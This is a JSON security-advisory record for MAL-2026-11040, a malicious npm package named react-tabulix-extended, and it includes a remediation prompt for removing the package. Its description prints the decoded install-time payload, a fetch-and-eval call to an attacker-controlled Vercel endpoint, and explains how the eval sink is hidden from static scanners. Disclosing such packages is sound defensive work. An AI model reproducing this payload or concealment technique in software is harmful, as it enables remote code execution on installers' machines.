{"answers":{"affected":"1 open source package ship an affected version, including react-tabulix-extended.","exploited":"There is no known exploitation of MAL-2026-11040 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-11040 is a malicious package in react-tabulix-extended, published on 22 Jul 2026."},"fix_prompt":"MAL-2026-11040 is a malicious package: react-tabulix-extended (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-11040/ (Markdown: https://insights.sbomify.com/MAL-2026-11040/index.md)","id":"MAL-2026-11040","markdown":"https://insights.sbomify.com/MAL-2026-11040/index.md","name":"MAL-2026-11040","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"package.json declares `preinstall: node./dist/index.d.js`, which fires automatically on `npm install`. The script contains a base64-encoded payload that decodes to `eval(await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root1').then(r=\u003er.text()))`. The `eval` identifier is reconstructed from the char-code array [101,118,97,108] and invoked via `globalThis[tag](text)` to conceal the sink from static scanners. The result is arbitrary remote-code execution on the installer's machine at install time, with the payload served dynamically from an attacker-controlled Vercel endpoint so the executed code can change at any time.\n\nThe OpenSSF Package Analysis project identified 'react-tabulix-extended' @ 0.1.7 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in react-tabulix-extended (npm)","id":"MAL-2026-11040","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"react-tabulix-extended","purl":"pkg:npm/react-tabulix-extended","source":"MAL-2026-11040"}],"products":null,"published":"2026-07-22","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-11040/"}